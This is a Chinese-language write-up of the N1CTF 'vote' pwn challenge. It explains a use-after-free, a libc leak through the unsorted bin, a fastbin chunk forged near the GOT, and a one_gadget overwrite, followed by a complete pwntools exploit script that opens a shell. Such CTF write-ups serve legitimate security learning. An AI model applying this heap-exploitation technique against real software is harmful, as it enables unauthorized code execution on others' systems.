?
N1CTF 塞題vote分析:這個題是一個uaf的漏洞題,我們先看看漏洞(如下圖),這兩部分是很明顯的對比的啊。當單獨的一個count數組的數據和堆里的數據相同時候,就會釋放堆,堆釋放后的count還會有指針指向這塊內存,釋放后我們能夠(通過vote)修改數據,典型的uaf。那么我們修改構造(fd)的數據時候,下次申請特定地址的內存的時候,就可以對特定內存進行修改的。
這里的sleep()函數,pthread_create每次調用,都會sleep3秒,所以用腳本vote和cancel的時候總是導致無法觸發uaf,調試時候需要在腳本中用time.sleep(3)來完成。
?count數組的數值和堆里的fd數值保持一致。
?
?
?
我們先來看幾個函數,雖然不一定是核心函數,但可以增長知識哈:
memset:作用是在一段內存塊中填充某個給定的值,它是對較大的結構體或數組進行清零操作的一種最快方法
?
解題過程:
結構體:
?? ?{
?? ??? ?long int count? (malloc data)
?? ??? ?long int time?? ?(malloc data+8)
?? ??? ?char name?? ??? ?(malloc data+16)?? ??? ?
?? ?}
三個位置分別為count,time,name。
?
構造偽堆,主要構造size和fd的數據:
?
?具體利用過程:
一、leak地址:
通過申請0x80(+0x20的堆頭)的堆,釋放成unsortbins,成雙向鏈表,fd和bk指向main_arena+88,在通過與libc的偏移計算出libc。
?
二、構造偽堆:
構造好了偽造的fd之后,如果直接用pthread的地址做偽堆的地址話,會由于size檢查導致分配失敗。 哦,對了申請了兩次偽堆,第一次是為了填充到我們的got表的地址而申請的,方法是在堆的24字節之后偽造堆,第二次是直接向共同表寫入數據。
?
?
?
?
那么我們來找合適的size
?
?找到合適的size了(如下圖),我們需要構造了偽堆的位置就是0x601ffa了。
?
?
成功修改了got的地址為我們的one_gadget的地址了,下面就是執行vote,觸發one_gadget執行了。
?
?
利用思路總結:
1.首先leak出libc的地址,通過unsorted bin泄露出其中fd(count)的數據,即是main_arena +88,然后通過偏移計算libc的地址。
2.通過修改fastbin的fd,構造偽堆,偽堆在got_pthread的附近,然后寫入數據,修改got_pthread為one_gadget的地址。
3.通過vote函數,觸發pthread函數,即執行了one_gadget的命令。
?
exp如下:
?
1 #!/usr/bin/env python 2 from pwn import* 3 import time 4 5 local =1 6 debug = 1 7 8 if local: 9 p = process('./vote') 10 11 else: 12 p = remote("127.0.0.1",8080) 13 14 #context.log_level = 'debug' 15 16 def create(num,name): 17 p.recvuntil("Action:") 18 p.sendline("0") 19 p.recvuntil("Please enter the name's size:") 20 p.sendline(str(num)) 21 p.recvuntil("Please enter the name: ") 22 p.sendline(name) 23 24 def show(num): 25 p.recvuntil("Action:") 26 p.sendline("1") 27 p.recvuntil("Please enter the index:") 28 p.sendline(str(num)) 29 30 def vote(num): 31 p.recvuntil("Action:") 32 p.sendline("2") 33 p.recvuntil("Please enter the index:") 34 p.sendline(str(num)) 35 36 def cancel(num): 37 p.recvuntil("Action:") 38 p.sendline("4") 39 p.recvuntil("Please enter the index:") 40 p.sendline(str(num)) 41 def result(): 42 p.recvuntil("Action:") 43 p.sendline("3") 44 45 def add(num,i): 46 for i in range(0,i): 47 vote(str(num)) 48 49 #---------------leak addr---------------------------- 50 51 libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") 52 ppp = libc.symbols['write'] 53 print "write=",hex(ppp) 54 55 #print "HHHHHHHHHHHHHHHHHHHHHHHHHHHHHH" 56 #raw_input() 57 58 59 create(0x80,"AAAA") 60 create(0x80,"BBBB") 61 cancel(0) 62 63 #add(0,16) 64 #vote(0) 65 #time.sleep(4) 66 show(0) 67 68 p.recvuntil("count:") 69 main_arena = p.recv(16) 70 #main_arena = p.read(15) 71 print"main_arena =",str(main_arena) 72 73 libc_addr = int(main_arena)-0x3c4b78 74 one = libc_addr + 0x4526a 75 76 print "libc_addr=",hex(libc_addr) 77 print "one=",hex(one) 78 79 80 81 #time.sleep(5) 82 83 #---------------fake heap---------------------------- 84 #add(0,16) 85 got_pthread = 0x601ffa #0x602020 86 print "got_pthread:",hex(got_pthread) 87 88 payload = p64(0x60)+p64(got_pthread) +p64(0xabcdef) 89 90 create(0x40,payload) 91 create(0x40,"DDDD") 92 93 cancel(2) 94 cancel(3) 95 96 add(3,24) 97 create(0x40,"FF") 98 99 #---------------shellcode---------------------------- 100 101 #write = libc_addr +0x3da490 102 write = libc_addr +libc.symbols['write'] 103 #strlen = libc_addr +0x8b720 104 strlen = libc_addr +libc.symbols['strlen'] 105 shellcode = "AAAAAA"+ p64(one) + p64(write) + p64(strlen) 106 #shellcode = "AAAAAA" 107 108 create(0x40,"GG") 109 110 create(0x40,shellcode) 111 112 vote(0) 113 114 115 #gdb.attach(p) 116 p.interactive()
?